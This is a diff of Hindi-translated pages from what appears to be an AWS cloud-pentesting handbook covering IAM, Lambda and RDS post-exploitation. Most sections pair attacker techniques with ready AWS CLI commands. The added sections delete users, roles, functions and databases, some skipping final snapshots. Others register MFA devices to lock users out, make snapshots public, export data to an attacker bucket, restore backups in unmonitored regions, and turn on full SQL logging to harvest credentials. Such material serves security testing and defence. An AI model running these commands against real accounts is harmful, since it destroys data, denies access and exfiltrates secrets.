@@ -148,7 +147,7 @@ aws iam enable-mfa-device \
|
||||
--authentication-code2 789012
|
||||
```
|
||||
### प्रमाणपत्र/कुंजी मेटाडेटा छेड़छाड़
|
||||
`iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate` के साथ, एक हमलावर सार्वजनिक कुंजियों और प्रमाणपत्रों की स्थिति या मेटाडेटा बदल सकता है। कुंजियों/प्रमाणपत्रों को निष्क्रिय चिह्नित करके या संदर्भ बदलकर, वे SSH authentication को तोड़ सकते हैं, X.509/TLS validations को अमान्य कर सकते हैं, और उन सेवाओं को तुरंत बाधित कर सकते हैं जो उन credentials पर निर्भर करती हैं, जिससे पहुँच या उपलब्धता का नुकसान हो सकता है।
|
||||
`iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate` के साथ, एक हमलावर सार्वजनिक कुंजियों और प्रमाणपत्रों की स्थिति या मेटाडेटा बदल सकता है। कुंजियों/प्रमाणपत्रों को निष्क्रिय चिह्नित करके या संदर्भ बदलकर वे SSH प्रमाणीकरण को तोड़ सकते हैं, X.509/TLS सत्यापनों को अमान्य कर सकते हैं, और तुरंत उन सेवाओं को बाधित कर सकते हैं जो उन क्रेडेंशियल्स पर निर्भर हैं, जिससे पहुँच या उपलब्धता खो सकती है।
|
||||
```bash
|
||||
aws iam update-ssh-public-key \
|
||||
--user-name <Username> \
|
||||
@@ -159,6 +158,33 @@ aws iam update-server-certificate \
|
||||
--server-certificate-name <Certificate_Name> \
|
||||
--new-path /prod/
|
||||
```
|
||||
### `iam:Delete*`
|
||||
|
||||
IAM wildcard iam:Delete* कई प्रकार के IAM resources—users, roles, groups, policies, keys, certificates, MFA devices, policy versions, आदि—हटाने की क्षमता देता है — और इसलिए इसका प्रभाव क्षेत्र बहुत बड़ा है: जिसे iam:Delete* दिया गया है वह पहचानों, क्रेडेंशियल्स, नीतियों और संबंधित आर्टिफैक्ट्स को स्थायी रूप से नष्ट कर सकता है, ऑडिट/सबूत हटा सकता है, और सेवा या संचालन में व्यवधान पैदा कर सकता है। कुछ उदाहरण हैं
|
||||
```bash
|
||||
# Delete a user
|
||||
aws iam delete-user --user-name <Username>
|
||||
|
||||
# Delete a role
|
||||
aws iam delete-role --role-name <RoleName>
|
||||
|
||||
# Delete a managed policy
|
||||
aws iam delete-policy --policy-arn arn:aws:iam::<ACCOUNT_ID>:policy/<PolicyName>
|
||||
```
|
||||
### `iam:EnableMFADevice`
|
||||
|
||||
जिस actor को iam:EnableMFADevice action दिया गया है, वह अकाउंट में किसी identity पर एक MFA device register कर सकता है, बशर्ते कि उस user के पास पहले से कोई MFA enabled न हो। इसे user के access में बाधा डालने के लिए इस्तेमाल किया जा सकता है: एक बार attacker ने MFA device register कर दिया, तो वैध user को sign in करने से रोका जा सकता है क्योंकि वे attacker द्वारा register किए गए MFA को नियंत्रित नहीं करते।
|
||||
|
||||
यह denial-of-access attack केवल तब काम करता है जब user के पास कोई MFA registered न हो; अगर attacker उस user के लिए MFA device register कर देता है, तो वैध user उन किसी भी flows से लॉक आउट हो जाएगा जिन्हें उस नए MFA की आवश्यकता होती है। अगर user के पास पहले से एक या अधिक MFA devices उनके नियंत्रण में हों, तो attacker-नियंत्रित MFA जोड़ने से वैध user का मार्ग अवरुद्ध नहीं होता — वे किसी भी मौजूदा MFA का उपयोग करके authenticate करना जारी रख सकते हैं।
|
||||
|
||||
To enable (register) an MFA device for a user an attacker could run:
|
||||
```bash
|
||||
aws iam enable-mfa-device \
|
||||
--user-name <Username> \
|
||||
--serial-number arn:aws:iam::111122223333:mfa/alice \
|
||||
--authentication-code1 123456 \
|
||||
--authentication-code2 789012
|
||||
```
|
||||
## संदर्भ
|
||||
|
||||
- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
|
||||
|
||||
@@ -4,29 +4,35 @@
|
||||
|
||||
## Lambda
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Lambda Credentials को एक्सफिल्ट्रेट करना
|
||||
### Exfilrtate Lambda Credentials
|
||||
|
||||
Lambda रनटाइम पर credentials इंजेक्ट करने के लिए environment variables का उपयोग करता है। यदि आप उन्हें एक्सेस कर पाते हैं (जैसे `/proc/self/environ` पढ़कर या खुद kwetsable function का उपयोग करके), तो आप उन्हें खुद इस्तेमाल कर सकते हैं। ये डिफ़ॉल्ट variable नामों में रहते हैं: `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, और `AWS_ACCESS_KEY_ID`।
|
||||
Lambda रनटाइम पर credentials इंजेक्ट करने के लिए environment variables का उपयोग करता है। अगर आप इन्हें एक्सेस कर पाते हैं (जैसे `/proc/self/environ` पढ़कर या vulnerable function का स्वयं उपयोग करके), तो आप इन्हें खुद उपयोग कर सकते हैं। ये डिफ़ॉल्ट वेरिएबल नामों में रहते हैं `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, और `AWS_ACCESS_KEY_ID`।
|
||||
|
||||
डिफ़ॉल्ट रूप से, इनके पास एक cloudwatch log group में लिखने की अनुमति होती है (जिसका नाम `AWS_LAMBDA_LOG_GROUP_NAME` में स्टोर होता है), साथ ही arbitrary log groups बनाने की भी अनुमति हो सकती है; हालांकि lambda functions अक्सर उनके intended उपयोग के आधार पर अधिक permissions के साथ दिए जाते हैं।
|
||||
डिफ़ॉल्ट रूप से, इनको cloudwatch log group में लिखने की अनुमति होती है (जिसका नाम `AWS_LAMBDA_LOG_GROUP_NAME` में संग्रहीत होता है), साथ ही arbitrary log groups बनाने की भी अनुमति होती है; हालांकि lambda functions अक्सर उनके intended use के आधार पर अधिक permissions दिए गए होते हैं।
|
||||
|
||||
### अन्य उपयोगकर्ताओं के Lambda URL अनुरोध चुराना
|
||||
### `lambda:Delete*`
|
||||
lambda:Delete* दिया गया attacker Lambda functions, versions/aliases, layers, event source mappings और अन्य संबंधित configurations को हटा सकता है।
|
||||
```bash
|
||||
aws lambda delete-function \
|
||||
--function-name <LAMBDA_NAME>
|
||||
```
|
||||
### Steal Others Lambda URL Requests
|
||||
|
||||
यदि किसी attacker को किसी Lambda के अंदर RCE मिल जाए तो वह अन्य उपयोगकर्ताओं के उस lambda को भेजे गए HTTP अनुरोध चुरा सकता है। यदि उन अनुरोधों में sensitive जानकारी (cookies, credentials...) है तो attacker उन्हें चुरा सकेगा।
|
||||
अगर कोई हमलावर किसी तरह से Lambda के अंदर RCE प्राप्त कर लेता है तो वह अन्य उपयोगकर्ताओं के HTTP requests जो lambda को भेजे जा रहे हैं उन्हें चुरा सकता है। अगर इन requests में संवेदनशील जानकारी (cookies, credentials...) है तो वह उन्हें चुरा सकेगा।
|
||||
|
||||
{{#ref}}
|
||||
aws-warm-lambda-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### अन्य उपयोगकर्ताओं के Lambda URL अनुरोध और Extensions अनुरोध चुराना
|
||||
### Steal Others Lambda URL Requests & Extensions Requests
|
||||
|
||||
Lambda Layers को दुरुपयोग करके extensions का भी दुरुपयोग कर पाना और lambda में persistence बनाए रखना संभव है, साथ ही अनुरोधों को चुराना और modify करना भी संभव है।
|
||||
Lambda Layers का दुरुपयोग करके extensions का भी दुरुपयोग कर के lambda में persist करना संभव है, और साथ ही अनुरोधों को चुराना और संशोधित करना भी।
|
||||
|
||||
{{#ref}}
|
||||
../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
|
||||
@@ -34,7 +40,7 @@ Lambda Layers को दुरुपयोग करके extensions का भ
|
||||
|
||||
### AWS Lambda – VPC Egress Bypass
|
||||
|
||||
एक Lambda फ़ंक्शन को किसी restricted VPC से बाहर force करने के लिए इसकी configuration को खाली VpcConfig से अपडेट करें (SubnetIds=[], SecurityGroupIds=[]). ऐसा करने पर फ़ंक्शन Lambda-managed networking plane में चलेगा, आउटबाउंड इंटरनेट एक्सेस बहाल हो जाएगा और बिना NAT वाले private VPC subnets द्वारा लागू किए गए egress controls को बायपास किया जा सकेगा।
|
||||
एक खाली VpcConfig (SubnetIds=[], SecurityGroupIds=[]) के साथ इसके configuration को अपडेट करके एक Lambda function को restricted VPC से बाहर जबरदस्ती निकाला जा सकता है। ऐसा होने पर function Lambda-managed networking plane में चलेगा, जिससे outbound internet access फिर से मिल जाएगा और बिना NAT वाले private VPC subnets द्वारा लागू किये गए egress controls बायपास हो जाएंगे।
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-vpc-egress-bypass.md
|
||||
@@ -42,15 +48,15 @@ aws-lambda-vpc-egress-bypass.md
|
||||
|
||||
### AWS Lambda – Runtime Pinning/Rollback Abuse
|
||||
|
||||
`lambda:PutRuntimeManagementConfig` का दुरुपयोग करके किसी फ़ंक्शन को एक specific runtime संस्करण (Manual) पर पिन करना या अपडेट्स को freeze करना (FunctionUpdate) संभव है। यह malicious layers/wrappers के साथ compatibility बनाए रखता है और फ़ंक्शन को किसी outdated, vulnerable runtime पर रोककर exploitation और long-term persistence में मदद कर सकता है।
|
||||
`lambda:PutRuntimeManagementConfig` का दुरुपयोग करके किसी function को एक specific runtime version (Manual) पर pin किया जा सकता है या updates को freeze (FunctionUpdate) किया जा सकता है। यह malicious layers/wrappers के साथ compatibility बनाए रखता है और function को पुराने, kwetsbare runtime पर रखने से exploitation और long-term persistence में मदद मिल सकती है।
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-runtime-pinning-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS Lambda – LoggingConfig.LogGroup के जरिए लॉग रीडायरेक्शन से डेटा चुराना
|
||||
### AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection
|
||||
|
||||
`lambda:UpdateFunctionConfiguration` के advanced logging controls का दुरुपयोग करके किसी फ़ंक्शन के logs को attacker-चुने हुए CloudWatch Logs log group में redirect किया जा सकता है। यह कोड या execution role को बदले बिना काम करता है (अधिकांश Lambda रोल्स में पहले से `logs:CreateLogGroup/CreateLogStream/PutLogEvents` शामिल होते हैं जैसे `AWSLambdaBasicExecutionRole`)। अगर फ़ंक्शन secrets/request bodies प्रिंट करता है या stack traces के साथ क्रैश होता है, तो आप उन्हें नए log group से कलेक्ट कर सकते हैं।
|
||||
`lambda:UpdateFunctionConfiguration` के advanced logging controls का दुरुपयोग करके किसी function के logs को attacker-चुने हुए CloudWatch Logs log group में redirect किया जा सकता है। यह बिना code या execution role बदले काम करता है (अधिकांश Lambda roles में पहले से `logs:CreateLogGroup/CreateLogStream/PutLogEvents` शामिल होते हैं via `AWSLambdaBasicExecutionRole`)। अगर function secrets/request bodies प्रिंट करता है या stack traces के साथ crash होता है, तो आप उन्हें नए log group से इकट्ठा कर सकते हैं।
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-loggingconfig-redirection.md
|
||||
@@ -58,7 +64,7 @@ aws-lambda-loggingconfig-redirection.md
|
||||
|
||||
### AWS - Lambda Function URL Public Exposure
|
||||
|
||||
Function URL AuthType को NONE पर सेट करके और एक resource-based policy अटैच करके जो lambda:InvokeFunctionUrl को सभी को प्रदान करे, किसी private Lambda Function URL को public unauthenticated endpoint में बदला जा सकता है। इससे internal functions का anonymous invocation संभव हो जाता है और संवेदनशील backend ऑपरेशन्स exposure हो सकते हैं।
|
||||
Function URL AuthType को NONE में बदलकर और सभी को lambda:InvokeFunctionUrl देने वाली resource-based policy attach करके एक private Lambda Function URL को public unauthenticated endpoint में बदल दिया जा सकता है। इससे internal functions की anonymous invocation संभव होती है और संवेदनशील backend operations expose हो सकते हैं।
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-function-url-public-exposure.md
|
||||
@@ -66,15 +72,15 @@ aws-lambda-function-url-public-exposure.md
|
||||
|
||||
### AWS Lambda – Event Source Mapping Target Hijack
|
||||
|
||||
`UpdateEventSourceMapping` का दुरुपयोग करके किसी existing Event Source Mapping (ESM) के target Lambda function को बदल दिया जा सकता है ताकि DynamoDB Streams, Kinesis, या SQS से आने वाले records attacker-controlled function को डिलीवर हों। यह producers या original function code को छुए बिना live data को चुपचाप divert कर देता है।
|
||||
`UpdateEventSourceMapping` का दुरुपयोग करके किसी मौजूदा Event Source Mapping (ESM) के target Lambda function को बदल दिया जा सकता है ताकि DynamoDB Streams, Kinesis, या SQS से आने वाले records attacker-controlled function को पहुँचें। यह producers या original function code को छुए बिना live data को चुपचाप divert कर देता है।
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-event-source-mapping-hijack.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS Lambda – EFS Mount Injection के जरिए डेटा एक्सफिल्ट्रेशन
|
||||
### AWS Lambda – EFS Mount Injection data exfiltration
|
||||
|
||||
`lambda:UpdateFunctionConfiguration` का दुरुपयोग करके किसी existing EFS Access Point को Lambda के साथ attach करें, फिर trivial code deploy करके mounted path से files list/read करें ताकि साझा secrets/config को exfiltrate किया जा सके जिन्हें फ़ंक्शन पहले access नहीं कर पाता था।
|
||||
`lambda:UpdateFunctionConfiguration` का दुरुपयोग करके किसी मौजूदा EFS Access Point को एक Lambda से attach किया जा सकता है, फिर सरल code deploy करके mounted path से files list/read कर के shared secrets/config जिन्हें function पहले access नहीं कर पाता था, उन्हें exfiltrate किया जा सकता है।
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-efs-mount-injection.md
|
||||
|
||||
@@ -12,7 +12,7 @@
|
||||
|
||||
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
|
||||
|
||||
यदि attacker के पास पर्याप्त permissions हों, तो वह DB का snapshot बनाकर और फिर उस snapshot से एक सार्वजनिक रूप से पहुँच योग्य DB बनाकर DB को **सार्वजनिक रूप से पहुँच योग्य** बना सकता है।
|
||||
यदि attacker के पास पर्याप्त permissions हैं, तो वह DB का snapshot बनाकर, और फिर उस snapshot से एक publicly accessible DB बनाकर **DB publicly accessible** बना सकता है।
|
||||
```bash
|
||||
aws rds describe-db-instances # Get DB identifier
|
||||
|
||||
@@ -38,11 +38,47 @@ aws rds modify-db-instance \
|
||||
|
||||
# Connect to the new DB after a few mins
|
||||
```
|
||||
### `rds:StopDBCluster` & `rds:StopDBInstance`
|
||||
rds:StopDBCluster या rds:StopDBInstance वाले हमलावर एक RDS instance या पूरे क्लस्टर को तुरंत बंद कर सकते हैं, जिससे डेटाबेस अनुपलब्धता, कनेक्शन टूटना और डेटाबेस पर निर्भर प्रक्रियाओं का बाधित होना हो सकता है।
|
||||
|
||||
एकल DB instance को रोकने के लिए (उदाहरण):
|
||||
```bash
|
||||
aws rds stop-db-instance \
|
||||
--db-instance-identifier <DB_INSTANCE_IDENTIFIER>
|
||||
```
|
||||
एक पूरे DB cluster को रोकने के लिए (उदाहरण):
|
||||
```bash
|
||||
aws rds stop-db-cluster \
|
||||
--db-cluster-identifier <DB_CLUSTER_IDENTIFIER>
|
||||
```
|
||||
### `rds:Delete*`
|
||||
|
||||
rds:Delete* प्राप्त एक attacker RDS resources को हटा सकता है — DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups और संबंधित artifacts को डिलीट करके — जिससे तत्काल सेवा में व्यवधान, डेटा हानि, रिकवरी पॉइंट्स का विनाश और फॉरेंसिक सबूतों का नुकसान हो सकता है।
|
||||
```bash
|
||||
# Delete a DB instance (creates a final snapshot unless you skip it)
|
||||
aws rds delete-db-instance \
|
||||
--db-instance-identifier <DB_INSTANCE_ID> \
|
||||
--final-db-snapshot-identifier <FINAL_SNAPSHOT_ID> # omit or replace with --skip-final-snapshot to avoid snapshot
|
||||
|
||||
# Delete a DB instance and skip final snapshot (more destructive)
|
||||
aws rds delete-db-instance \
|
||||
--db-instance-identifier <DB_INSTANCE_ID> \
|
||||
--skip-final-snapshot
|
||||
|
||||
# Delete a manual DB snapshot
|
||||
aws rds delete-db-snapshot \
|
||||
--db-snapshot-identifier <DB_SNAPSHOT_ID>
|
||||
|
||||
# Delete an Aurora DB cluster (creates a final snapshot unless you skip)
|
||||
aws rds delete-db-cluster \
|
||||
--db-cluster-identifier <DB_CLUSTER_ID> \
|
||||
--final-db-snapshot-identifier <FINAL_CLUSTER_SNAPSHOT_ID> # or use --skip-final-snapshot
|
||||
```
|
||||
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
|
||||
|
||||
इन permissions वाले attacker **DB का एक snapshot बना सकता है** और उसे **सार्वजनिक रूप से** **उपलब्ध** कर सकता है। फिर, वह बस अपने account में उस snapshot से एक DB बना सकता है।
|
||||
इन अनुमतियों वाले हमलावर **एक DB का snapshot बना सकता है** और उसे **सार्वजनिक** **उपलब्ध** कर सकता है। फिर वह अपने खाते में उसी snapshot से DB बना सकता है।
|
||||
|
||||
यदि attacker **के पास `rds:CreateDBSnapshot` नहीं है**, तब भी वह बनाए गए **अन्य** snapshots को **सार्वजनिक** कर सकता है।
|
||||
यदि हमलावर **`rds:CreateDBSnapshot` के पास नहीं है**, तो भी वह **अन्य** बनाए गए snapshots को **सार्वजनिक** कर सकता है।
|
||||
```bash
|
||||
# create snapshot
|
||||
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
|
||||
@@ -53,48 +89,48 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
|
||||
```
|
||||
### `rds:DownloadDBLogFilePortion`
|
||||
|
||||
जिसके पास `rds:DownloadDBLogFilePortion` अनुमति है, वह **RDS instance की लॉग फ़ाइलों के हिस्से डाउनलोड कर सकता है**। यदि संवेदनशील डेटा या एक्सेस क्रेडेंशियल्स गलती से लॉग हो जाते हैं, तो हमलावर संभवतः इस जानकारी का उपयोग अपनी अनुमतियाँ बढ़ाने (privilege escalation) या अनधिकृत क्रियाएँ करने के लिए कर सकता है।
|
||||
एक attacker जिसके पास `rds:DownloadDBLogFilePortion` permission है, वह **download portions of an RDS instance's log files** कर सकता है। यदि sensitive data या access credentials गलती से logged हो जाते हैं, तो attacker संभावित रूप से इस जानकारी का उपयोग करके अपने privileges escalate कर सकता है या unauthorized actions कर सकता है।
|
||||
```bash
|
||||
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
|
||||
```
|
||||
**Potential Impact**: leaked credentials का उपयोग करके संवेदनशील जानकारी तक पहुँच या अनधिकृत क्रियाएँ हो सकती हैं।
|
||||
**संभावित प्रभाव**: leaked credentials का उपयोग करके संवेदनशील जानकारी तक पहुँच या अनधिकृत क्रियाएँ हो सकती हैं।
|
||||
|
||||
### `rds:DeleteDBInstance`
|
||||
|
||||
इन अनुमतियों के साथ एक हमलावर **DoS मौजूदा RDS इंस्टेंस** कर सकता है।
|
||||
इन permissions वाले attacker **DoS existing RDS instances** कर सकते हैं।
|
||||
```bash
|
||||
# Delete
|
||||
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
|
||||
```
|
||||
**Potential impact**: मौजूदा RDS instances का हटना और संभावित डेटा हानि।
|
||||
**Potential impact**: मौजूदा RDS इंस्टेंस का नष्ट होना, और डेटा का संभावित नुकसान।
|
||||
|
||||
### `rds:StartExportTask`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
> TODO: परीक्षण
|
||||
|
||||
इस permission वाले attacker एक RDS instance snapshot को S3 bucket में **export** कर सकता है। यदि attacker के पास destination S3 bucket पर control है, तो वे exported snapshot में मौजूद संवेदनशील डेटा तक पहुँच सकते हैं।
|
||||
एक हमलावर के पास इस अनुमति होने पर वह **RDS instance snapshot को S3 bucket में export कर सकता है**। यदि हमलावर के पास लक्ष्य S3 bucket पर नियंत्रण है, तो वे निर्यात किए गए स्नैपशॉट के भीतर संवेदनशील डेटा तक पहुंच सकते हैं।
|
||||
```bash
|
||||
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
|
||||
```
|
||||
**Potential impact**: निर्यात किए गए snapshot में संवेदनशील डेटा तक पहुँच।
|
||||
**Potential impact**: निर्यात किए गए स्नैपशॉट में संवेदनशील डेटा तक पहुँच।
|
||||
|
||||
### Stealthy Restore के लिए Cross-Region Automated Backups Replication (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
|
||||
Cross-Region automated backups replication का दुरुपयोग करके चुपचाप किसी RDS instance के automated backups को दूसरे AWS Region में डुप्लिकेट करें और वहाँ restore करें। फिर हमलावर restored DB को सार्वजनिक रूप से उपलब्ध करवा सकता है और master password रीसेट करके बाहरी मार्ग से डेटा एक्सेस कर सकता है, जो ऐसे Region में हो सकता है जिसे defenders मॉनिटर नहीं करते।
|
||||
Cross-Region automated backups replication का दुरुपयोग करके चुपचाप किसी RDS instance के automated backups को किसी दूसरे AWS Region में duplicate कर वहाँ restore किया जा सकता है। attacker फिर restored DB को सार्वजनिक रूप से accessible बना सकता है और master password reset करके out-of-band तरीके से डेटा एक्सेस कर सकता है, ऐसे Region में जहाँ defenders शायद निगरानी नहीं रखते।
|
||||
|
||||
Permissions needed (minimum):
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` गंतव्य Region में
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` गंतव्य Region में
|
||||
- `rds:RestoreDBInstanceToPointInTime` गंतव्य Region में
|
||||
- `rds:ModifyDBInstance` गंतव्य Region में
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (वैकल्पिक क्लीनअप)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (restored DB को एक्सपोज़ करने के लिए)
|
||||
आवश्यक अनुमतियाँ (न्यूनतम):
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region
|
||||
- `rds:RestoreDBInstanceToPointInTime` in the destination Region
|
||||
- `rds:ModifyDBInstance` in the destination Region
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (to expose the restored DB)
|
||||
|
||||
Impact: Persistence और data exfiltration — production डेटा की एक copy को दूसरे Region में restore करके और उसे सार्वजनिक रूप से हमलावर-नियंत्रित क्रेडेंशियल्स के साथ एक्सपोज़ करके।
|
||||
प्रभाव: प्रोडक्शन डेटा की एक कॉपी को दूसरे Region में restore करके और उसे attacker-controlled credentials के साथ सार्वजनिक रूप से एक्सपोज़ करके persistence और डेटा निकासी।
|
||||
|
||||
<details>
|
||||
<summary>End-to-end CLI (प्लेसहोल्डर्स बदलें)</summary>
|
||||
<summary>End-to-end CLI (placeholders बदलें)</summary>
|
||||
```bash
|
||||
# 1) Recon (SOURCE region A)
|
||||
aws rds describe-db-instances \
|
||||
@@ -163,26 +199,26 @@ aws rds stop-db-instance-automated-backups-replication \
|
||||
</details>
|
||||
|
||||
|
||||
### पूर्ण SQL logging को DB parameter groups के माध्यम से सक्षम करें और RDS log APIs के जरिए exfiltrate करें
|
||||
### DB parameter groups के माध्यम से पूर्ण SQL लॉगिंग सक्षम करें और RDS log APIs के जरिए exfiltrate करें
|
||||
|
||||
RDS log download APIs के साथ `rds:ModifyDBParameterGroup` का दुरुपयोग करके applications द्वारा execute किए गए सभी SQL statements को capture करें (कोई DB engine credentials आवश्यक नहीं)। engine SQL logging को सक्षम करें और file logs को `rds:DescribeDBLogFiles` और `rds:DownloadDBLogFilePortion` (या REST `downloadCompleteLogFile`) के जरिए खींचें। यह उन queries को इकट्ठा करने के लिए उपयोगी है जिनमें secrets/PII/JWTs शामिल हो सकते हैं।
|
||||
`rds:ModifyDBParameterGroup` का उपयोग करके RDS log download APIs के साथ applications द्वारा execute किए गए सभी SQL statements को capture करें (कोई DB engine credentials आवश्यक नहीं)। Engine SQL logging को सक्षम करें और फाइल लॉग्स को `rds:DescribeDBLogFiles` और `rds:DownloadDBLogFilePortion` (या REST `downloadCompleteLogFile`) के माध्यम से प्राप्त करें। यह उन queries को इकट्ठा करने में उपयोगी है जिनमें secrets/PII/JWTs हो सकते हैं।
|
||||
|
||||
Permissions needed (minimum):
|
||||
आवश्यक अनुमतियाँ (न्यूनतम):
|
||||
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
|
||||
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
|
||||
- `rds:ModifyDBInstance` (केवल तब जब instance default parameter group उपयोग कर रहा हो, एक custom parameter group attach करने के लिए)
|
||||
- `rds:RebootDBInstance` (उन parameters के लिए जिन्हें reboot की आवश्यकता होती है, जैसे PostgreSQL)
|
||||
- `rds:ModifyDBInstance` (केवल तब जब instance default parameter group उपयोग कर रहा हो, custom parameter group attach करने के लिए)
|
||||
- `rds:RebootDBInstance` (उन parameters के लिए जो reboot की आवश्यकता रखते हैं, जैसे PostgreSQL)
|
||||
|
||||
Steps
|
||||
1) Recon target और current parameter group की जानकारी इकट्ठा करें
|
||||
कदम
|
||||
1) Recon target और current parameter group की पहचान करें
|
||||
```bash
|
||||
aws rds describe-db-instances \
|
||||
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
|
||||
--output table
|
||||
```
|
||||
2) सुनिश्चित करें कि एक custom DB parameter group जुड़ा हुआ है (default को edit नहीं किया जा सकता)
|
||||
- यदि instance पहले से ही किसी custom group का उपयोग कर रहा है, तो अगले चरण में उसका नाम reuse करें।
|
||||
- अन्यथा engine family से मेल खाने वाला एक बनाकर attach करें:
|
||||
2) सुनिश्चित करें कि एक custom DB parameter group संलग्न है (default को संपादित नहीं किया जा सकता)
|
||||
- यदि instance पहले से ही किसी custom group का उपयोग कर रहा है, तो अगले चरण में उसका नाम पुनः उपयोग करें।
|
||||
- अन्यथा engine family से मेल खाता हुआ एक group बनाकर संलग्न करें:
|
||||
```bash
|
||||
# Example for PostgreSQL 16
|
||||
aws rds create-db-parameter-group \
|
||||
@@ -197,7 +233,7 @@ aws rds modify-db-instance \
|
||||
# Wait until status becomes "available"
|
||||
```
|
||||
3) विस्तृत SQL लॉगिंग सक्षम करें
|
||||
- MySQL engines (तुरंत / बिना रीबूट):
|
||||
- MySQL engines (तत्काल / बिना रिबूट):
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
@@ -208,7 +244,7 @@ aws rds modify-db-parameter-group \
|
||||
# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
|
||||
# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
|
||||
```
|
||||
- PostgreSQL engines (रीबूट आवश्यक):
|
||||
- PostgreSQL engines (रिबूट आवश्यक):
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
@@ -220,11 +256,11 @@ aws rds modify-db-parameter-group \
|
||||
# Reboot if any parameter is pending-reboot
|
||||
aws rds reboot-db-instance --db-instance-identifier <DB>
|
||||
```
|
||||
4) वर्कलोड चलने दें (या क्वेरीज़ जनरेट करें)। स्टेटमेंट्स engine फ़ाइल लॉग्स में लिखे जाएंगे
|
||||
4) वर्कलोड चलने दें (या queries जनरेट करें)। स्टेटमेंट्स engine फ़ाइल लॉग्स में लिखे जाएंगे
|
||||
- MySQL: `general/mysql-general.log`
|
||||
- PostgreSQL: `postgresql.log`
|
||||
|
||||
5) लॉग्स खोजें और डाउनलोड करें (no DB creds required)
|
||||
5) लॉग्स खोजें और डाउनलोड करें (कोई DB creds आवश्यक नहीं)
|
||||
```bash
|
||||
aws rds describe-db-log-files --db-instance-identifier <DB>
|
||||
|
||||
@@ -235,7 +271,7 @@ aws rds download-db-log-file-portion \
|
||||
--starting-token 0 \
|
||||
--output text > dump.log
|
||||
```
|
||||
6) संवेदनशील डेटा के लिए ऑफ़लाइन विश्लेषण करें
|
||||
6) संवेदनशील डेटा के लिए ऑफलाइन विश्लेषण करें
|
||||
```bash
|
||||
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
|
||||
```
|
||||
@@ -246,7 +282,7 @@ grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | s
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
|
||||
```
|
||||
सफाई
|
||||
- पैरामीटरों को डिफ़ॉल्ट पर वापस करें और यदि आवश्यक हो तो reboot करें:
|
||||
- पैरामीटर को डिफ़ॉल्ट पर वापस करें और यदि आवश्यक हो तो रिबूट करें:
|
||||
```bash
|
||||
# MySQL
|
||||
aws rds modify-db-parameter-group \
|
||||
@@ -261,19 +297,19 @@ aws rds modify-db-parameter-group \
|
||||
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
|
||||
# Reboot if pending-reboot
|
||||
```
|
||||
